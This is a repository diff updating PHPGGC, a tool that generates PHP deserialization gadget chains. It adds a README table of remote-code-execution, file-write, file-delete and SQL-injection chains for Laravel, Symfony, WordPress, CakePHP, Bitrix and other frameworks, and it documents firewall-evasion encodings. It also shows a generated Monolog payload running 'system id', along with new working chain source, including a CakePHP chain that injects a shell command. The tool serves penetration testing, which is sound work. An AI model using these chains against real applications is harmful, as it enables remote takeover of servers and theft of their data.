Codebase list phpggc / 6a11861
Update upstream source from tag 'upstream/0.20221219' Update to upstream version '0.20221219' with Debian dir d6204ebdb45859c2a5233c9bc14ddadba7a6af42 Sophie Brun 1 year, 3 months ago
128 changed file(s) with 4551 addition(s) and 190 deletion(s). Raw diff Collapse all Expand all
0 FROM php:7.4-cli-alpine AS builder
0 FROM php:8.1-cli-alpine AS builder
1
2 RUN apk add python3 py3-pip curl
3
4 RUN curl -s https://getcomposer.org/installer | php -- --install-dir=/usr/bin/ --filename=composer
5
6 RUN alias composer='php /usr/bin/composer'
7
8 RUN pip install rich
19
210 COPY . /phpggc
311
77 ## Requirements
88
99 PHP >= 5.6 is required to run PHPGGC.
10 PHP 8 is not yet supported.
1110
1211
1312 ## Usage
2019 Gadget Chains
2120 -------------
2221
23 NAME VERSION TYPE VECTOR I
24 CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
25 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
26 Doctrine/FW1 ? File write __toString *
27 Drupal7/FD1 7.0 < ? File delete __destruct *
28 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
29 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
30 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
31 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
32 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
33 Laminas/FD1 <= 2.11.2 File delete __destruct
34 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
35 Laravel/RCE2 5.5.39 RCE (Function call) __destruct
36 Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
37 Laravel/RCE4 5.5.39 RCE (Function call) __destruct
38 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
39 Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
40 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
41 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
42 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
43 Monolog/RCE1 1.18 <= 2.1.1+ RCE (Function call) __destruct
44 Monolog/RCE2 1.5 <= 2.1.1+ RCE (Function call) __destruct
45 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
46 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
47 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
48 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
49 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
50 PHPExcel/FD1 1.8.2+ File delete __destruct
51 PHPExcel/FD2 <= 1.8.1 File delete __destruct
52 PHPExcel/FD3 1.8.2+ File delete __destruct
53 PHPExcel/FD4 <= 1.8.1 File delete __destruct
54 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
55 Slim/RCE1 3.8.1 RCE (Function call) __toString
56 Smarty/FD1 ? File delete __destruct
57 Smarty/SSRF1 ? SSRF __destruct *
58 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
59 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
60 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
61 SwiftMailer/FW3 5.0.1 File write __toString
62 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
63 Symfony/FW1 2.5.2 File write DebugImport *
64 Symfony/FW2 3.4 File write __destruct
65 Symfony/RCE1 3.3 RCE (Command) __destruct *
66 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
67 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
68 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
69 TCPDF/FD1 <= 6.3.5 File delete __destruct *
70 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
71 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
72 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
73 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
74 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
75 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
76 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
77 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
78 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
79 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
80 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
81 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
82 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
83 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
84 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
85 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
86 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
87 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
88 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
89 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
90 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
91 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
92 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
93 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
94
22 NAME VERSION TYPE VECTOR I
23 Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
24 CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
25 CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
26 CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
27 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
28 CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct
29 CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
30 Doctrine/FW1 ? File write __toString *
31 Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
32 Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
33 Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
34 Dompdf/FD1 1.1.1 <= ? File delete __destruct *
35 Dompdf/FD2 ? < 1.1.1 File delete __destruct *
36 Drupal7/FD1 7.0 < ? File delete __destruct *
37 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
38 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
39 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
40 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
41 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
42 Kohana/FR1 3.* File read __toString *
43 Laminas/FD1 <= 2.11.2 File delete __destruct
44 Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct *
45 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
46 Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
47 Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
48 Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
49 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
50 Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
51 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
52 Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
53 Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
54 Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
55 Laravel/RCE11 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
56 Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE (Function call) __destruct *
57 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
58 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
59 Magento2/FD1 * File delete __destruct *
60 Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct *
61 Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct
62 Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct
63 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
64 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
65 Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct
66 Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct
67 Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct *
68 Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
69 Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
70 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
71 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
72 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
73 PHPExcel/FD1 1.8.2+ File delete __destruct
74 PHPExcel/FD2 <= 1.8.1 File delete __destruct
75 PHPExcel/FD3 1.8.2+ File delete __destruct
76 PHPExcel/FD4 <= 1.8.1 File delete __destruct
77 PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct *
78 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
79 Slim/RCE1 3.8.1 RCE (Function call) __toString
80 Smarty/FD1 ? File delete __destruct
81 Smarty/SSRF1 ? SSRF __destruct *
82 Spiral/RCE1 2.7.0 <= 2.8.13 RCE (Function call) __destruct
83 Spiral/RCE2 -2.8+ RCE (Function call) __destruct *
84 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
85 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
86 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
87 SwiftMailer/FW3 5.0.1 File write __toString
88 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
89 Symfony/FW1 2.5.2 File write DebugImport *
90 Symfony/FW2 3.4 File write __destruct
91 Symfony/RCE1 3.3 RCE (Command) __destruct *
92 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
93 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
94 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
95 Symfony/RCE5 5.2.* RCE (Function call) __destruct
96 Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE (Command) __destruct *
97 TCPDF/FD1 <= 6.3.5 File delete __destruct *
98 ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
99 ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
100 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
101 ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct *
102 Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
103 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
104 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
105 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
106 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
107 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
108 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
109 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
110 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
111 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
112 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
113 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
114 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
115 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
116 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
117 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
118 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
119 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
120 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
121 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
122 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
123 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
124 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
125 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
126 ZendFramework/RCE5 2.0.0rc2 <= 2.5.3 RCE (Function call) __destruct
95127 ```
96128
97129 Filter gadget chains:
102134 Gadget Chains
103135 -------------
104136
105 NAME VERSION TYPE VECTOR I
106 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
107 Laravel/RCE2 5.5.39 RCE (Function call) __destruct
108 Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
109 Laravel/RCE4 5.5.39 RCE (Function call) __destruct
110 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
111 Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
112 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
113
137 NAME VERSION TYPE VECTOR I
138 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
139 Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
140 Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
141 Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
142 Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
143 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
144 Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
145 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
146 Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
147 Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
114148 ```
115149
116150 Every gadget chain has:
156190
157191 The `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions:
158192
159 - `process_parameters($parameters)`: Called right **before** `generate()`, allows to change parameters
160 - `process_object($object)`: Called right **before** `serialize()`, allows to change the object
161 - `process_serialized($serialized)`: Called right **after** `serialize()`, allows to change the serialized string
193 - `process_parameters(array $parameters)`: Called right **before** `generate()`, allows to change parameters
194 - `process_object(object $object)`: Called right **before** `serialize()`, allows to change the object
195 - `process_serialized(string $serialized)`: Called right **after** `serialize()`, allows to change the serialized string
162196
163197 For instance, if the vulnerable code looks like this:
164198
233267
234268 ### ASCII Strings
235269
236 Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII value to an hexadecimal representation:
270 Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII char to an hexadecimal representation:
237271 `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"A\00B\09\0D";`
238272 This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values.
239273 *Note: this is experimental and it might not work in some cases.*
240274
275 ### Armor Strings
276
277 Uses the `S` serialization format instead of the standard `s`. This replaces every char to an hexadecimal representation:
278 `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"\41\00\42\09\0D";`
279 This comes handy when a firewall or PHP code blocks strings.
280 *Note: this is experimental and it might not work in some cases.*
281 *Note: this makes each string in the payload grow by a factor of 3.*
282
241283 ### Plus Numbers
242284
243285 Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers <types>`, or `-n <types>`, to automatically add these `+` signs in front of symbols.
244 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only i and d (float) types can have a +.
245
286 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`.
287
288 ### Testing your chain
289
290 To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option.
291
292 For instance, to test if `Monolog/RCE2` works on Symfony `4.x`:
293
294 ```
295 $ composer create-project symfony/website-skeleton=4.x some_symfony
296 $ cd some_symfony
297 $ phpggc monolog/rce2 --test-payload
298 Trying to deserialize payload...
299 SUCCESS: Payload triggered !
300 ```
301
302 The exit code will be `0` if the payload triggered, `1` otherwise.
303
304 ### Testing your chain against every version of a package
305
306 If you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`.
307
308 ```
309 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
310 Testing 59 versions for monolog/monolog against 2 gadget chains.
311
312 ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
313 ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
314 ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
315 │ 2.x-dev │ OK │ OK │ KO │
316 │ 2.3.0 │ OK │ OK │ KO │
317 │ 2.2.0 │ OK │ OK │ KO │
318 │ 2.1.1 │ OK │ OK │ KO │
319 │ 2.1.0 │ OK │ OK │ KO │
320 │ 2.0.2 │ OK │ OK │ KO │
321 │ 2.0.1 │ OK │ OK │ KO │
322 │ 2.0.0 │ OK │ OK │ KO │
323 │ 2.0.0-beta2 │ OK │ OK │ KO │
324 │ 2.0.0-beta1 │ OK │ OK │ KO │
325 │ 1.x-dev │ OK │ OK │ KO │
326 │ 1.26.1 │ OK │ OK │ KO │
327 │ 1.26.0 │ OK │ OK │ KO │
328 │ 1.25.5 │ OK │ OK │ KO │
329 │ 1.25.4 │ OK │ OK │ KO │
330 ...
331 │ 1.0.1 │ OK │ KO │ KO │
332 │ 1.0.0 │ OK │ KO │ KO │
333 │ 1.0.0-RC1 │ OK │ KO │ KO │
334 │ dev-main │ OK │ OK │ KO │
335 │ * dev-phpstan │ OK │ OK │ KO │
336 └─────────────────┴─────────┴──────────────┴──────────────┘
337 ```
338
339 You can specify the versions you want to test by using the following syntaxe.
340
341 ```
342 $ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
343 Testing 2 versions for monolog/monolog against 2 gadget chains.
344
345 ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
346 ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
347 ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
348 │ 2.3.0 │ OK │ OK │ KO │
349 │ 1.25.4 │ OK │ OK │ KO │
350 └─────────────────┴─────────┴──────────────┴──────────────┘
351 ```
246352
247353 # API
248354
292398
293399 - `__destruct()` is always the best vector
294400 - Specify at least the version of the library you've built the payload on
295 - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems.
296401 - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
402 - Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation.
297403
298404 Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_.
299405 You can define pre- and post- processing methods, if parameters need to be modified.
304410 For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain.
305411
306412
307
308 ## Docker
309
310 If you don't want to install PHP, you can use `docker build`.
311
413 # Docker
414
415 If you don't want to install PHP, you can use `docker build . -t 'phpggc'`.
416
417 To generate a gadget chain.
418
419 ```
420 $ docker run phpggc Monolog/rce1 'system' 'id'
421 O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}
422 ```
423
424 To run `test-gc-compatibility.py` from docker.
425 ```
426 $ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
427 Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
428 Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
429
430 ┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
431 ┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
432 ┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
433 │ 2.2 │ OK │ OK │ OK │
434 │ 2.7.2 │ OK │ OK │ KO │
435 └──────────────────────────┴─────────┴───────────────┴───────────────┘
436 ```
312437
313438 # License
314439
0 <?php
1
2 namespace GadgetChain\Bitrix;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '17.x.x <= 22.0.300';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Bitrix\Main\ORM\Data\Result(
16 new \Bitrix\Main\Type\Dictionary(
17 new \Bitrix\Main\Error(
18 new \Bitrix\Main\UI\Viewer\ItemAttributes(
19 new \Bitrix\Main\DB\ResultIterator(
20 new \Bitrix\Main\DB\ArrayResult(
21 $function, $parameter
22 )
23 )
24 )
25 )
26 )
27 );
28 }
29 }
0 <?php
1
2 namespace Bitrix\Main {
3 class Result
4 {
5 protected $errors;
6
7 public function __construct(object $Dictionary)
8 {
9 $this->errors = $Dictionary;
10 }
11 }
12
13 class Error {
14 protected $message;
15
16 public function __construct(object $ItemAttributes)
17 {
18 $this->message = $ItemAttributes;
19 }
20 }
21 }
22
23 namespace Bitrix\Main\ORM\Data {
24 class Result extends \Bitrix\Main\Result
25 {
26 protected $isSuccess = false;
27 protected $wereErrorsChecked = false;
28
29 public function __construct(object $Dictionary)
30 {
31 parent::__construct($Dictionary);
32 }
33 }
34 }
35
36 namespace Bitrix\Main\Type {
37 class Dictionary
38 {
39 protected $values;
40
41 public function __construct(object $Error)
42 {
43 $this->values = [$Error];
44 }
45 }
46 }
47
48 namespace Bitrix\Main\UI\Viewer {
49 class ItemAttributes
50 {
51 protected $attributes;
52
53 public function __construct(object $ResultIterator)
54 {
55 $this->attributes = $ResultIterator;
56 }
57 }
58 }
59
60 namespace Bitrix\Main\DB {
61 class ResultIterator
62 {
63 private $counter = 0;
64 private $currentData = 0;
65 private $result;
66
67 public function __construct(object $ArrayResult)
68 {
69 $this->result = $ArrayResult;
70 }
71 }
72
73 class ArrayResult
74 {
75 protected $resource;
76 protected $converters;
77
78 public function __construct(string $function, string $parameter)
79 {
80 $this->converters = [$function, 'WriteFinalMessage'];
81 $this->resource = [[$parameter], [['rce']]];
82 }
83 }
84 }
0 <?php
1
2 namespace GadgetChain\CakePHP;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\Command
5 {
6 public static $version = '? <= 3.9.6';
7 public static $vector = '__destruct';
8 public static $author = 'MoonBack';
9
10 public function generate(array $parameters)
11 {
12 $command = $parameters['command'];
13
14 return new \Symfony\Component\Process\Process($command);
15 }
16 }
0 <?php
1
2 namespace Symfony\Component\Process
3 {
4 use Cake\ORM\Table;
5
6 class Process
7 {
8 private $options;
9 private $processPipes;
10 private $status;
11 private $process;
12
13 public function __construct($cmd)
14 {
15 $this->options['create_new_console'] = 0;
16 $this->processPipes = new Table($cmd);
17 $this->status = "started";
18 $this->process = 1;
19 }
20 }
21 }
22
23 namespace Cake\ORM
24 {
25 use Cake\Shell\ServerShell;
26
27 class Table
28 {
29 protected $_behaviors;
30
31 public function __construct($cmd)
32 {
33 $this->_behaviors = new BehaviorRegistry($cmd);
34 }
35 }
36
37 class BehaviorRegistry
38 {
39 protected $_methodMap;
40 protected $_loaded;
41
42 public function __construct($cmd)
43 {
44 $this->_methodMap = ['readandwrite' => ['mb', 'main']];
45 $this->_loaded = ['mb' => new ServerShell($cmd)];
46 }
47 }
48 }
49
50 namespace Cake\Shell
51 {
52 use Cake\Console\ConsoleIo;
53
54 class ServerShell
55 {
56 protected $_host;
57 protected $_port;
58 protected $_documentRoot;
59 protected $_io;
60
61 public function __construct($cmd)
62 {
63 $this->_host = '& ' . $cmd . ' &'; // command injection
64 $this->_port = '';
65 $this->_documentRoot = '';
66 $this->_io = new ConsoleIo();
67 }
68 }
69 }
70
71 namespace Cake\Console
72 {
73 class ConsoleIo
74 {
75 protected $_out;
76
77 public function __construct()
78 {
79 $this->_level = -100;
80 }
81 }
82 }
0 <?php
1
2 namespace GadgetChain\CakePHP;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '? <= 4.2.3';
7 public static $vector = '__destruct';
8 public static $author = 'MoonBack';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Symfony\Component\Process\Process($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Symfony\Component\Process
3 {
4 use Cake\ORM\Table;
5
6 class Process
7 {
8 private $options;
9 private $processPipes;
10 private $status;
11 private $process;
12
13 public function __construct($func, $args){
14 $this->options['create_new_console'] = 0;
15 $this->processPipes = new Table($func, $args);
16 $this->status = "started";
17 $this->process = 1;
18 }
19 }
20 }
21
22
23 namespace Cake\ORM
24 {
25 use Cake\Database\Statement\CallbackStatement;
26
27 class Table
28 {
29 protected $_behaviors;
30
31 public function __construct($func,$args)
32 {
33 $this->_behaviors = new BehaviorRegistry($func, $args);
34 }
35 }
36
37 class BehaviorRegistry
38 {
39 protected $_methodMap;
40 protected $_loaded;
41
42 public function __construct($func, $args)
43 {
44 $this->_methodMap = ['readandwrite' => ['mb','fetch']];
45 $this->_loaded = ['mb' => new CallbackStatement($func, $args)];
46 }
47 }
48 }
49
50 namespace Cake\Database\Statement
51 {
52 class CallbackStatement
53 {
54 protected $_callback;
55 protected $_statement;
56
57 public function __construct($func, $args)
58 {
59 $this->_callback = $func;
60 $this->_statement = new BufferedStatement($args);
61 }
62 }
63
64 class BufferedStatement
65 {
66 protected $_allFetched;
67 protected $buffer;
68 protected $index;
69
70 public function __construct($args)
71 {
72 $this->_allFetched = 1;
73 $this->buffer = [$args];
74 $this->index = 0;
75 }
76 }
77 }
33
44 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '4.0.0-beta.1 <= 4.0.0-rc.4';
6 public static $version = '4.0.2 <= 4.0.3';
77 public static $vector = '__destruct';
88 public static $author = 'eboda';
99
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-4.1.3+';
7 public static $vector = '__destruct';
8 public static $author = 'Firebasky';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Faker
3 {
4 class DefaultGenerator
5 {
6 protected $default;
7
8 public function __construct($cmd)
9 {
10 $this->default = $cmd; //open /System/Applications/Calculator.app
11 }
12 }
13 }
14
15 namespace Faker
16 {
17 class ValidGenerator
18 {
19 protected $generator;
20 protected $validator;
21 protected $maxRetries;
22
